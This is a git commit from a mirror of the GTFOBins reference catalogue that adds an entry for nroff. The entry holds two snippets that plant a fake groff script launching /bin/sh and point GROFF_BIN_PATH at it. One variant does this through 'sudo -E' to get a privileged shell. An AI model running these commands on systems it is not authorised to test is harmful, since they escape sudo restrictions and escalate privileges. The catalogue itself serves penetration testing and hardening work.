1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-01-07 08:11:34 +01:00

Create nroff.md

This commit is contained in:
bcoles 2020-03-17 17:34:57 +11:00 committed by Andrea Cardaci
parent 9eb6538bef
commit 2eadcc4082

17
_gtfobins/nroff.md Normal file

@ -0,0 +1,17 @@
---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
GROFF_BIN_PATH=$TF nroff
sudo:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
sudo -E GROFF_BIN_PATH=$TF nroff
---